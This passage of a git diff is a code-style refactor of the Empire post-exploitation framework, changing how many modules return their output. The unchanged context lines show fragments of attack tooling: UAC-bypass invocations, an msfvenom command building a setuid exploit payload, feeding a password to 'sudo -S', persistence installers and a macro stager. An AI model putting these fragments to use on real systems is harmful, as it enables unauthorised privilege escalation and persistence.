b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index 180fae12d..ed80eb137 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -53,10 +53,9 @@ def generate( else: script_end = f'Invoke-EventVwrBypass -Command "{encScript}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index 801759516..db82a2430 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -52,10 +52,9 @@ def generate( return handle_error_message("[!] Error in launcher generation.") else: script_end = f'Invoke-FodHelperBypass -Command "{enc_script}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index 2a9d5c9f8..3b9bda34a 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -52,10 +52,9 @@ def generate( return handle_error_message("[!] Error in launcher generation.") else: script_end = f'Invoke-SDCLTBypass -Command "{enc_script}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py index a7c402d37..a36e42383 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py +++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py @@ -54,10 +54,9 @@ def generate( f'Invoke-BypassUACTokenManipulation -Arguments "-w 1 -enc {encoded_cradle}"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index c5cbecdf5..56925839f 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -52,10 +52,9 @@ def generate( else: script_end = f'Invoke-WScriptBypassUAC -payload "{launcher}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/ms16-032.py b/empire/server/modules/powershell/privesc/ms16-032.py index 47c7c1dfd..9a4e2b5aa 100644 --- a/empire/server/modules/powershell/privesc/ms16-032.py +++ b/empire/server/modules/powershell/privesc/ms16-032.py @@ -43,10 +43,9 @@ def generate( script_end = 'Invoke-MS16-032 "' + launcher_code + '"' script_end += ';"`nInvoke-MS16032 completed."' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/ms16-135.py b/empire/server/modules/powershell/privesc/ms16-135.py index 4ecb32746..fcd937904 100644 --- a/empire/server/modules/powershell/privesc/ms16-135.py +++ b/empire/server/modules/powershell/privesc/ms16-135.py @@ -43,10 +43,9 @@ def generate( script_end = 'Invoke-MS16135 -Command "' + launcher_code + '"' script_end += ';"`nInvoke-MS16135 completed."' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py index 898a9d20c..8d073509e 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py @@ -58,10 +58,9 @@ def generate( + '" -Command "C:\\Windows\\System32\\cmd.exe /C $tempLoc"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.py b/empire/server/modules/powershell/privesc/powerup/service_stager.py index 75e848408..886baa124 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_stager.py @@ -49,10 +49,9 @@ def generate( + '" -Command "C:\\Windows\\System32\\cmd.exe /C `"$env:Temp\\debug.bat`""' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 0f194d062..7af2c0f53 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -65,10 +65,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.py b/empire/server/modules/powershell/recon/fetch_brute_local.py index d50b2c5b9..0c0d4eb87 100644 --- a/empire/server/modules/powershell/recon/fetch_brute_local.py +++ b/empire/server/modules/powershell/recon/fetch_brute_local.py @@ -39,10 +39,9 @@ def generate( if len(Loginpass) >= 1: script_end += " -lpass " + Loginpass - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/recon/find_fruit.py b/empire/server/modules/powershell/recon/find_fruit.py index 13d101d11..5a90cae70 100644 --- a/empire/server/modules/powershell/recon/find_fruit.py +++ b/empire/server/modules/powershell/recon/find_fruit.py @@ -54,10 +54,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py index fb4df4c8d..2ebbf453b 100644 --- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py +++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py @@ -41,10 +41,9 @@ def generate( ) script_end += " -Instance " + instance - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py index 9ba4a3225..a4f84b6bd 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py @@ -30,65 +30,60 @@ def generate( script_end += 'Write-Output "Event ID 4624 (Logon):`n";' script_end += "Write-Output $Filtered4624.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["4648"].lower() == "true": script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" script_end += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' script_end += "Write-Output $Filtered4648.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["AppLocker"].lower() == "true": script_end += "$AppLockerLogs = Find-AppLockerLogs;" script_end += 'Write-Output "AppLocker Process Starts:`n";' script_end += "Write-Output $AppLockerLogs.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["PSScripts"].lower() == "true": script_end += "$PSLogs = Find-PSScriptsInPSAppLog;" script_end += 'Write-Output "PowerShell Script Executions:`n";' script_end += "Write-Output $PSLogs.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["SavedRDP"].lower() == "true": script_end += "$RdpClientData = Find-RDPClientConnections;" script_end += 'Write-Output "RDP Client Data:`n";' script_end += "Write-Output $RdpClientData.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script script_end += "Get-ComputerDetails -Limit " + str(params["Limit"]) if outputf == "Out-String": @@ -106,10 +101,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py index e210fb5d8..aac376387 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -55,10 +55,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py index 9d8e46e53..e23ae0805 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py @@ -92,6 +92,4 @@ def generate( script_end, obfuscation_command ) script += script_end - script = main_menu.obfuscationv2.obfuscate_keywords(script) - - return script + return main_menu.obfuscationv2.obfuscate_keywords(script) diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py index 6e7378518..0d02c0251 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py @@ -75,6 +75,4 @@ def generate( script_end, obfuscation_command ) script += script_end - script = main_menu.obfuscationv2.obfuscate_keywords(script) - - return script + return main_menu.obfuscationv2.obfuscate_keywords(script) diff --git a/empire/server/modules/powershell_template.py b/empire/server/modules/powershell_template.py index 8dd8b0d78..6cdefd1ed 100644 --- a/empire/server/modules/powershell_template.py +++ b/empire/server/modules/powershell_template.py @@ -57,11 +57,9 @@ def generate( # Step 3: Return the final script # finalize_module will obfuscate the "script_end" (if needed), then append it to the script. - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - - return script diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py index 4678cdf7d..3cd5e628a 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py @@ -17,7 +17,7 @@ def generate( with open(path, "rb") as open_file: module_data = open_file.read() module_data = base64.b64encode(module_data) - script = """ + return """ import os import base64 data = "{}" @@ -41,5 +41,3 @@ def run(data): params["Monitor"], params["SavePath"], ) - - return script diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py index 0423774a7..203c6bfa8 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py +++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py @@ -29,7 +29,7 @@ def generate( launcher = launcher.replace('"', '\\"') if launcher == "": return handle_error_message("[!] Error in launcher command generation.") - script = f""" + return f""" import os import pty @@ -63,5 +63,3 @@ def wall(host, pw): print(output) """ - - return script diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py index 8a34c936e..05407b075 100644 --- a/empire/server/modules/python/management/multi/spawn.py +++ b/empire/server/modules/python/management/multi/spawn.py @@ -25,6 +25,4 @@ def generate( return handle_error_message("[!] Error in launcher command generation.") else: launcher = launcher.replace('"', '\\"') - script = f'import os; os.system("{launcher}")' - - return script + return f'import os; os.system("{launcher}")' diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py index f18836b77..b89edb61a 100644 --- a/empire/server/modules/python/management/osx/shellcodeinject64.py +++ b/empire/server/modules/python/management/osx/shellcodeinject64.py @@ -133,6 +133,4 @@ class remoteThreadState64(ctypes.Structure): run() """ script = script.replace("[SC]", shellcode) - script = script.replace("[PID]", processID) - - return script + return script.replace("[PID]", processID) diff --git a/empire/server/modules/python/persistence/multi/desktopfile.py b/empire/server/modules/python/persistence/multi/desktopfile.py index 5a49dfc12..5d28c6f9d 100644 --- a/empire/server/modules/python/persistence/multi/desktopfile.py +++ b/empire/server/modules/python/persistence/multi/desktopfile.py @@ -25,7 +25,7 @@ def generate( Type=Application NoDisplay=True """ - script = f""" + return f""" import subprocess import sys import os @@ -55,5 +55,3 @@ def generate( print("\\n[+] Empire daemon has been written to {file_name}") """ - - return script diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.py b/empire/server/modules/python/persistence/osx/CreateHijacker.py index 30540e533..a0706ba4c 100644 --- a/empire/server/modules/python/persistence/osx/CreateHijacker.py +++ b/empire/server/modules/python/persistence/osx/CreateHijacker.py @@ -41,7 +41,7 @@ def generate( dylib = params["LegitimateDylibPath"] vrpath = params["VulnerableRPATH"] - script = f""" + return f""" from ctypes import * def run(attackerDYLIB): @@ -476,5 +476,3 @@ def configure(attackerDYLIB, targetDYLIB): temp.close() run(path) """ - - return script diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.py b/empire/server/modules/python/persistence/osx/LaunchAgent.py index be51eb3b4..41b8bf74f 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgent.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgent.py @@ -50,7 +50,7 @@ def generate( """ - script = f""" + return f""" import subprocess import sys import base64 @@ -93,5 +93,3 @@ def generate( print("\\n[+] Empire daemon has been written to "+daemonPath+"{program_name}") """ - - return script diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py index 2695953a3..5ee9c7098 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py @@ -44,7 +44,7 @@ def generate( """ - script = f""" + return f""" import subprocess import sys import base64 @@ -74,5 +74,3 @@ def generate( print("\\n[+] Persistence has been installed: /Library/LaunchAgents/{plist_name}") """ - - return script diff --git a/empire/server/modules/python/persistence/osx/loginhook.py b/empire/server/modules/python/persistence/osx/loginhook.py index b0413289b..a9dd3dedd 100644 --- a/empire/server/modules/python/persistence/osx/loginhook.py +++ b/empire/server/modules/python/persistence/osx/loginhook.py @@ -17,7 +17,7 @@ def generate( password = password.replace("$", r"\$") password = password.replace("!", r"\!") password = password.replace("!", r"\!") - script = f""" + return f""" import subprocess import sys try: @@ -55,5 +55,3 @@ def generate( print("[!] Issue with LoginHook script: " + str(e)) """ - - return script diff --git a/empire/server/modules/python/persistence/osx/mail.py b/empire/server/modules/python/persistence/osx/mail.py index 07e7e184b..c3deca68d 100644 --- a/empire/server/modules/python/persistence/osx/mail.py +++ b/empire/server/modules/python/persistence/osx/mail.py @@ -128,7 +128,7 @@ def UUID(): """ ) - script = f""" + return f""" import os home = os.getenv("HOME") AppleScript = '{apple_script}' @@ -186,5 +186,3 @@ def UUID(): os.system("rm " + SyncedRules) os.system("rm " + RulesActiveState) """ - - return script diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py index 31d3b462f..00eacd122 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py @@ -38,6 +38,4 @@ def generate( return handle_error_message("[!] Error in launcher command generation.") base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8") - script = script.replace("{{ payload }}", base64_launcher) - - return script + return script.replace("{{ payload }}", base64_launcher) diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py index ec9f2aaaf..e5ad77d5d 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py @@ -44,6 +44,4 @@ def generate( command = f"msfvenom -p linux/x64/exec CMD='{launcher}' -f elf-so PrependSetuid=true | base64" output = subprocess.check_output(command, shell=True) output = output.replace(b"\n", b"") - script = script.replace("{{ payload }}", output.decode("UTF-8")) - - return script + return script.replace("{{ payload }}", output.decode("UTF-8")) diff --git a/empire/server/modules/python/privesc/multi/bashdoor.py b/empire/server/modules/python/privesc/multi/bashdoor.py index 8ab940a03..decc02c06 100644 --- a/empire/server/modules/python/privesc/multi/bashdoor.py +++ b/empire/server/modules/python/privesc/multi/bashdoor.py @@ -24,7 +24,7 @@ def generate( safeChecks=safeChecks, ) launcher = launcher.replace('"', '\\"') - script = f""" + return f""" import os from random import choice from string import ascii_uppercase @@ -41,5 +41,3 @@ def generate( f.close() os.chmod(bashlocation, 0755) """ - - return script diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py index c28eacb88..3328fdd31 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.py +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py @@ -34,6 +34,4 @@ def generate( launcher = launcher.replace("echo", "") parts = launcher.split("|") launcher = f"python3 -c {parts[0]}" - script = f'import subprocess; subprocess.Popen("echo \\"{password}\\" | sudo -S {launcher}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' - - return script + return f'import subprocess; subprocess.Popen("echo \\"{password}\\" | sudo -S {launcher}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py index 7645db5c8..ddd2cccf6 100644 --- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py +++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py @@ -36,7 +36,7 @@ def generate( launcher = launcher.replace('"', '\\"') fullPath = params["WriteablePath"] + params["FileName"] fileName = params["FileName"] - script = f""" + return f""" import os print("Writing Stager to {fileName}...") file = open("{fullPath}","w") @@ -50,5 +50,3 @@ def generate( print("[!] Could not execute payload!") """ - - return script diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py index eb0d0368d..4d919f740 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.py +++ b/empire/server/modules/python/privesc/osx/piggyback.py @@ -32,7 +32,7 @@ def generate( launcher = launcher.replace("echo", "") parts = launcher.split("|") launcher = f"sudo python -c {parts[0]}" - script = f""" + return f""" import os import time import subprocess @@ -49,5 +49,3 @@ def generate( except: pass """ - - return script diff --git a/empire/server/modules/python_jobs_template.py b/empire/server/modules/python_jobs_template.py index df00d4dc6..c7bf41803 100644 --- a/empire/server/modules/python_jobs_template.py +++ b/empire/server/modules/python_jobs_template.py @@ -46,7 +46,7 @@ def __init__(self, mainMenu): self.mainMenu = mainMenu def generate(self): - script = """ + return """ x = 0 while True: import time @@ -58,5 +58,3 @@ def generate(self): except Exception as e: print(e) """ - - return script diff --git a/empire/server/plugins/basic_reporting/basic_reporting.py b/empire/server/plugins/basic_reporting/basic_reporting.py index 9395a05f1..b77073ce5 100644 --- a/empire/server/plugins/basic_reporting/basic_reporting.py +++ b/empire/server/plugins/basic_reporting/basic_reporting.py @@ -92,12 +92,10 @@ def session_report(self, db, user): ) output_str = out.getvalue() - db_download = self.main_menu.downloadsv2.create_download_from_text( + return self.main_menu.downloadsv2.create_download_from_text( db, user, output_str, "sessions.csv", "basic_reporting" ) - return db_download - def credential_report(self, db, user): out = io.StringIO() writer = csv.writer(out) @@ -108,12 +106,10 @@ def credential_report(self, db, user): ) output_str = out.getvalue() - db_download = self.main_menu.downloadsv2.create_download_from_text( + return self.main_menu.downloadsv2.create_download_from_text( db, user, output_str, "credentials.csv", "basic_reporting" ) - return db_download - def generate_report(self, db, user): out = io.StringIO() out.write("Empire Master Taskings & Results Log by timestamp\n") @@ -127,12 +123,10 @@ def generate_report(self, db, user): ) output_str = out.getvalue() - db_download = self.main_menu.downloadsv2.create_download_from_text( + return self.main_menu.downloadsv2.create_download_from_text( db, user, output_str, "master.log", "basic_reporting" ) - return db_download - def shutdown(self): """ Kills additional processes that were spawned diff --git a/empire/server/plugins/csharpserver/csharpserver.py b/empire/server/plugins/csharpserver/csharpserver.py index dfe648e80..109c3a03a 100644 --- a/empire/server/plugins/csharpserver/csharpserver.py +++ b/empire/server/plugins/csharpserver/csharpserver.py @@ -87,10 +87,9 @@ def toggle_csharpserver(self, command): self.shutdown() self.status = "OFF" return "[*] Stopping Empire C# server" - else: - return "[!] Empire C# server is already stopped" + return "[!] Empire C# server is already stopped" - elif self.start == "start": + if self.start == "start": if self.status == "OFF": server_dll = ( self.installPath @@ -119,8 +118,8 @@ def toggle_csharpserver(self, command): self.status = "ON" return "[*] Starting Empire C# server" - else: - return "[!] Empire C# server is already started" + return "[!] Empire C# server is already started" + return None def thread_csharp_responses(self): task_input = "Collecting Empire C# server output stream..." diff --git a/empire/server/plugins/example/example.py b/empire/server/plugins/example/example.py index a8e5faebf..51729744e 100644 --- a/empire/server/plugins/example/example.py +++ b/empire/server/plugins/example/example.py @@ -74,8 +74,7 @@ def execute(self, command): Parses commands from the API """ try: - results = self.do_test(command) - return results + return self.do_test(command) except Exception: return False diff --git a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py index 67cad05d0..a6d4f88e3 100644 --- a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py +++ b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py @@ -122,8 +122,7 @@ def execute(self, command): try: self.reverseshell_proc = None self.status = command["Status"] - results = self.do_server(command) - return results + return self.do_server(command) except Exception as e: log.error(e) return False, f"[!] {e}" @@ -140,7 +139,7 @@ def register(self, mainMenu): self.main_menu = mainMenu self.plugin_service: PluginService = mainMenu.pluginsv2 - def do_server(self, command): + def do_server(self, command): # noqa: PLR0911 """ Check if the Empire C# server is already running. """ @@ -152,17 +151,15 @@ def do_server(self, command): if self.status == "status": if self.enabled: return "[+] Reverseshell server is currently running" - else: - return "[!] Reverseshell server is currently stopped" + return "[!] Reverseshell server is currently stopped" - elif self.status == "stop": + if self.status == "stop": if self.enabled: self.shutdown() return "[!] Stopped reverseshell server" - else: - return "[!] Reverseshell server is already stopped" + return "[!] Reverseshell server is already stopped" - elif self.status == "start": + if self.status == "start": # extract all of our options language = command["Language"] listener_name = command["Listener"] @@ -208,6 +205,8 @@ def do_server(self, command): ) self.reverseshell_proc.daemon = True self.reverseshell_proc.start() + return None + return None def shutdown(self): with contextlib.suppress(Exception): diff --git a/empire/server/plugins/websockify_server/websockify_server.py b/empire/server/plugins/websockify_server/websockify_server.py index 5b5c84f34..a9d18506b 100644 --- a/empire/server/plugins/websockify_server/websockify_server.py +++ b/empire/server/plugins/websockify_server/websockify_server.py @@ -68,8 +68,7 @@ def execute(self, command): self.websockify_proc = None # essentially switches to parse the proper command to execute self.status = command["Status"] - results = self.do_websockify(command) - return results + return self.do_websockify(command) except Exception as e: log.error(e) return False, f"[!] {e}" @@ -98,17 +97,15 @@ def do_websockify(self, command): if self.status == "status": if self.enabled: return "[+] Websockify server is currently running" - else: - return "[!] Websockify server is currently stopped" + return "[!] Websockify server is currently stopped" - elif self.status == "stop": + if self.status == "stop": if self.enabled: self.shutdown() return "[!] Stopped Websockify server" - else: - return "[!] Websockify server is already stopped" + return "[!] Websockify server is already stopped" - elif self.status == "start": + if self.status == "start": source_host = command["SourceHost"] source_port = int(command["SourcePort"]) target_host = command["TargetHost"] @@ -125,6 +122,7 @@ def do_websockify(self, command): self.websockify_proc.daemon = True self.websockify_proc.start() return "[+] Websockify server successfully started" + return None def shutdown(self): with contextlib.suppress(Exception): diff --git a/empire/server/stagers/multi/macro.py b/empire/server/stagers/multi/macro.py index cc73d77d9..669e66f93 100755 --- a/empire/server/stagers/multi/macro.py +++ b/empire/server/stagers/multi/macro.py @@ -128,8 +128,7 @@ def formStr(varstr, instr): ) str2 = '"\r\n'.join(holder) str2 = str2 + '"' - str1 = str1 + "\r\n" + str2 - return str1 + return str1 + "\r\n" + str2 # extract all of our options language = self.options["Language"]["Value"] @@ -194,7 +193,7 @@ def formStr(varstr, instr): poshpayload += '\n\t\tstr = str + "' + str(poshchunk) # if statements below are for loading Mac dylibs for compatibility - macro = f"""#If Mac Then + return f"""#If Mac Then #If VBA7 Then Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long #Else @@ -249,5 +248,3 @@ def formStr(varstr, instr): objProcess.Create str, Null, objConfig, intProcessID #End If End Function""" - - return macro diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index a8e9452e1..e8435ab65 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -171,6 +171,4 @@ def generate(self): ) with open(binary_file_str, "rb") as f: - exe = f.read() - - return exe + return f.read() diff --git a/empire/server/stagers/osx/applescript.py b/empire/server/stagers/osx/applescript.py index acc024649..6e141005e 100644 --- a/empire/server/stagers/osx/applescript.py +++ b/empire/server/stagers/osx/applescript.py @@ -79,5 +79,4 @@ def generate(self): else: launcher = launcher.replace('"', '\\"') - applescript = f'do shell script "{launcher}"' - return applescript + return f'do shell script "{launcher}"' diff --git a/empire/server/stagers/osx/application.py b/empire/server/stagers/osx/application.py index b722f9e41..0a276d7ad 100644 --- a/empire/server/stagers/osx/application.py +++ b/empire/server/stagers/osx/application.py @@ -103,11 +103,10 @@ def generate(self): launcher = removeprefix(launcher, "echo ") launcher = removesuffix(launcher, " | python3 &") launcher = launcher.strip('"') - application_zip = self.mainMenu.stagers.generate_appbundle( + return self.mainMenu.stagers.generate_appbundle( launcherCode=launcher, Arch=arch, icon=icns_path, AppName=app_name, disarm=disarm, ) - return application_zip diff --git a/empire/server/stagers/osx/dylib.py b/empire/server/stagers/osx/dylib.py index 50fa8110b..a4db83755 100644 --- a/empire/server/stagers/osx/dylib.py +++ b/empire/server/stagers/osx/dylib.py @@ -97,7 +97,6 @@ def generate(self): launcher = removeprefix(launcher, "echo ") launcher = removesuffix(launcher, " | python3 &") launcher = launcher.strip('"') - dylib = self.mainMenu.stagers.generate_dylib( + return self.mainMenu.stagers.generate_dylib( launcherCode=launcher, arch=arch, hijacker=hijacker ) - return dylib diff --git a/empire/server/stagers/osx/jar.py b/empire/server/stagers/osx/jar.py index 9d98f05b9..d26089faf 100644 --- a/empire/server/stagers/osx/jar.py +++ b/empire/server/stagers/osx/jar.py @@ -75,5 +75,4 @@ def generate(self): return "" else: launcher = launcher.replace('"', '\\"') - jar_bytes = self.mainMenu.stagers.generate_jar(launcherCode=launcher) - return jar_bytes + return self.mainMenu.stagers.generate_jar(launcherCode=launcher) diff --git a/empire/server/stagers/osx/macho.py b/empire/server/stagers/osx/macho.py index 5904c94c7..999eef2a5 100644 --- a/empire/server/stagers/osx/macho.py +++ b/empire/server/stagers/osx/macho.py @@ -79,5 +79,4 @@ def generate(self): else: # launcher = launcher.strip('echo') - macho = self.mainMenu.stagers.generate_macho(launcher) - return macho + return self.mainMenu.stagers.generate_macho(launcher) diff --git a/empire/server/stagers/osx/macro.py b/empire/server/stagers/osx/macro.py index 82d084995..862ec2686 100644 --- a/empire/server/stagers/osx/macro.py +++ b/empire/server/stagers/osx/macro.py @@ -93,8 +93,7 @@ def formStr(varstr, instr): ) str2 = '"\r\n'.join(holder) str2 = str2 + '"' - str1 = str1 + "\r\n" + str2 - return str1 + return str1 + "\r\n" + str2 # extract all of our options listener_name = self.options["Listener"]["Value"] diff --git a/empire/server/stagers/osx/pkg.py b/empire/server/stagers/osx/pkg.py index 05ff5d5ec..3dc1a9488 100644 --- a/empire/server/stagers/osx/pkg.py +++ b/empire/server/stagers/osx/pkg.py @@ 